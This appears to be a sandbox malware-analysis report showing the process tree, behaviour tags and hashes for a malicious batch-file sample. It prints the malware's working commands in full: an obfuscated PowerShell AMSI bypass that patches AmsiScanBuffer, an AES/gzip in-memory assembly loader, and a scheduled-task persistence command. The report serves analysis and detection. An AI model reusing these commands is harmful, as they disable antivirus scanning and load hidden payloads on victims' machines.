$_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+'f'+'t'+[Char](46)+''+[Char](87)+'i'+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+'U'+'n'+''+[Char](115)+''+[Char](97)+''+'f'+''+'e'+''+'N'+'a'+'t'+'i'+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+'o'+[Char](100)+'s');$kAtxpwBnnLoCsb=$SpEHOpUwNwaIe.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+'o'+[Char](99)+'Ad'+[Char](100)+''+[Char](114)+''+[Char](101)+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+'b'+''+'l'+''+'i'+''+[Char](99)+',S'+[Char](116)+'a'+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$FPyKeenkZsOeDVbXEDg=PHnmMaDyYvVP @([String])([IntPtr]);$TxwTAFwvwmuFepCXuVRMhJ=PHnmMaDyYvVP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$hOrceNjTGUj=$SpEHOpUwNwaIe.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+'od'+[Char](117)+'l'+'e'+''+[Char](72)+'and'+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+[Char](110)+''+'e'+''+[Char](108)+'32.'+'d'+''+[Char](108)+'l')));$JCLUaaeeOaemMb=$kAtxpwBnnLoCsb.Invoke($Null,@([Object]$hOrceNjTGUj,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+'L'+''+'i'+'br'+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$kkVlSKAeXMxjxWvSN=$kAtxpwBnnLoCsb.Invoke($Null,@([Object]$hOrceNjTGUj,[Object](''+'V'+''+'i'+'r'+[Char](116)+''+[Char](117)+'a'+[Char](108)+''+'P'+''+[Char](114)+''+'o'+''+'t'+''+[Char](101)+''+'c'+''+[Char](116)+'')));$ylHPNWu=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JCLUaaeeOaemMb,$FPyKeenkZsOeDVbXEDg).Invoke('a'+'m'+''+[Char](115)+''+'i'+''+'.'+''+[Char](100)+'ll');$TdrOxtfpAsDIbcvOi=$kAtxpwBnnLoCsb.Invoke($Null,@([Object]$ylHPNWu,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+'i'+'S'+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+'u'+''+'f'+'fer')));$POWeJBLhay=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kkVlSKAeXMxjxWvSN,$TxwTAFwvwmuFepCXuVRMhJ).Invoke($TdrOxtfpAsDIbcvOi,[uint32]8,4,[ref]$POWeJBLhay);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$TdrOxtfpAsDIbcvOi,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kkVlSKAeXMxjxWvSN,$TxwTAFwvwmuFepCXuVRMhJ).Invoke($TdrOxtfpAsDIbcvOi,[uint32]8,0x20,[ref]$POWeJBLhay);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+'F'+'TW'+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](36)+''+'n'+''+'y'+''+[Char](97)+''+[Char](45)+''+'s'+'ta'+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3236
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1224
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1244
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1288
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1408
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2656
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1488
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1572
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1580
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1652
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1716
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1756
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1852
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2000
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2024
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1448
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2072
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2152
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2244
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2524
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2824
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2844
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2872
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2920
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3112
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3444
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3394df243b24f41c13e7c1e37be4285ff662cd969fa653f377b1f984ee474a0b.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:708 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function LLppO($CPtuP){ $YqYGn=[System.Security.Cryptography.Aes]::Create(); $YqYGn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $YqYGn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $YqYGn.Key=[System.Convert]::FromBase64String('nKDQKPFRDB4UaeLOndYu+4k+Q0wQVZw47HPOfUUgfBg='); $YqYGn.IV=[System.Convert]::FromBase64String('UfEYRi/5OKMR5zSX3oNZ8w=='); $BfudD=$YqYGn.CreateDecryptor(); $SnIMa=$BfudD.TransformFinalBlock($CPtuP, 0, $CPtuP.Length); $BfudD.Dispose(); $YqYGn.Dispose(); $SnIMa;}function OnLZm($CPtuP){ IEX '$rTpAl=New-Object System.IO.M*em*or*yS*tr*ea*m(,$CPtuP);'.Replace('*', ''); IEX '$Zfmrm=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$HkwXH=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($rTpAl, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $HkwXH.CopyTo($Zfmrm); $HkwXH.Dispose(); $rTpAl.Dispose(); $Zfmrm.Dispose(); $Zfmrm.ToArray();}function IgGdL($CPtuP,$sHjZk){ IEX '$GqVau=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$CPtuP);'.Replace('*', ''); IEX '$jCGEA=$GqVau.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$jCGEA.*I*n*v*o*k*e*($null, $sHjZk);'.Replace('*', '');}$jvfbU = 'C:\Users\Admin\AppData\Local\Temp\3394df243b24f41c13e7c1e37be4285ff662cd969fa653f377b1f984ee474a0b.bat';$host.UI.RawUI.WindowTitle = $jvfbU;$LDiXZ=[System.IO.File]::ReadAllText($jvfbU).Split([Environment]::NewLine);foreach ($YMuuu in $LDiXZ) { if ($YMuuu.StartsWith(':: ')) { $qgoDd=$YMuuu.Substring(3); break; }}$cHpKY=[string[]]$qgoDd.Split('\');IEX '$kTXqv=OnLZm (LLppO ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($cHpKY[0])));'.Replace('*', '');IEX '$OpwNO=OnLZm (LLppO ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($cHpKY[1])));'.Replace('*', '');IgGdL $kTXqv $null;IgGdL $OpwNO (,[string[]] ('')); "3⤵PID:384
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1776 -
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /ru builtin\Users /sc onlogon /tn $nya-Loli_ /F /RL HIGHEST /tr "cmd.exe /b /c start \"cmd.exe\" \"C:\Windows\$nya-onimai3\$nya-Loli.bat\""4⤵
- Scheduled Task/Job: Scheduled Task
PID:1820
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process 'C:\Windows\$nya-onimai3\$nya-Loli.bat'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Windows\$nya-onimai3\$nya-Loli.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:4300 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:3404
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function LLppO($CPtuP){ $YqYGn=[System.Security.Cryptography.Aes]::Create(); $YqYGn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $YqYGn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $YqYGn.Key=[System.Convert]::FromBase64String('nKDQKPFRDB4UaeLOndYu+4k+Q0wQVZw47HPOfUUgfBg='); $YqYGn.IV=[System.Convert]::FromBase64String('UfEYRi/5OKMR5zSX3oNZ8w=='); $BfudD=$YqYGn.CreateDecryptor(); $SnIMa=$BfudD.TransformFinalBlock($CPtuP, 0, $CPtuP.Length); $BfudD.Dispose(); $YqYGn.Dispose(); $SnIMa;}function OnLZm($CPtuP){ IEX '$rTpAl=New-Object System.IO.M*em*or*yS*tr*ea*m(,$CPtuP);'.Replace('*', ''); IEX '$Zfmrm=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$HkwXH=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($rTpAl, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $HkwXH.CopyTo($Zfmrm); $HkwXH.Dispose(); $rTpAl.Dispose(); $Zfmrm.Dispose(); $Zfmrm.ToArray();}function IgGdL($CPtuP,$sHjZk){ IEX '$GqVau=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$CPtuP);'.Replace('*', ''); IEX '$jCGEA=$GqVau.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$jCGEA.*I*n*v*o*k*e*($null, $sHjZk);'.Replace('*', '');}$jvfbU = 'C:\Windows\$nya-onimai3\$nya-Loli.bat';$host.UI.RawUI.WindowTitle = $jvfbU;$LDiXZ=[System.IO.File]::ReadAllText($jvfbU).Split([Environment]::NewLine);foreach ($YMuuu in $LDiXZ) { if ($YMuuu.StartsWith(':: ')) { $qgoDd=$YMuuu.Substring(3); break; }}$cHpKY=[string[]]$qgoDd.Split('\');IEX '$kTXqv=OnLZm (LLppO ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($cHpKY[0])));'.Replace('*', '');IEX '$OpwNO=OnLZm (LLppO ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($cHpKY[1])));'.Replace('*', '');IgGdL $kTXqv $null;IgGdL $OpwNO (,[string[]] ('')); "6⤵PID:3576
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:672 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Delete /TN "$nya-Loli_1" /F7⤵PID:4380
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"7⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4948 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"8⤵
- System Location Discovery: System Language Discovery
PID:4296
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-
-
-
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3476
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3672
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3852
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4020
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:8
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3740
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5076
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:4544
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:3704
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:432
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:956
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:2080
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4152
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:1628
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3044
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:1804
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:1368
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:4780
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵PID:3248
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53f01549ee3e4c18244797530b588dad9
SHA13e87863fc06995fe4b741357c68931221d6cc0b9
SHA25636b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a
SHA51273843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50
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Filesize
2KB
MD5402c3f48af4b254fd33c130f0639e312
SHA1f0668e6a1cfb84b7ad056762299e68ebf5ec2aa7
SHA25639c278989a230bf0f6f6082149afb2790675e1774b275ca4f60b34c85b88a1c2
SHA512d05ff520e0407fb54ecbefd963f7c2764435742f9162140ff6f4a62ffe9ea3f991183f90c42f71f3531685b34457c7bf6776b923fb74d3da3432736fedddaefb
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
3.4MB
MD5f06fd82f34a91ec7ec3a2f242daa5699
SHA131625c87b890569ab23b1556d37400deefbbe03c
SHA2563394df243b24f41c13e7c1e37be4285ff662cd969fa653f377b1f984ee474a0b
SHA51231b7e30d6d3194eb83619b8006d38a87e4cb807aadc284f1c4acc5c03f701a154bad50a13a730b211443f9730c46e15b13c00f4b3994b53261efc17fd685b50a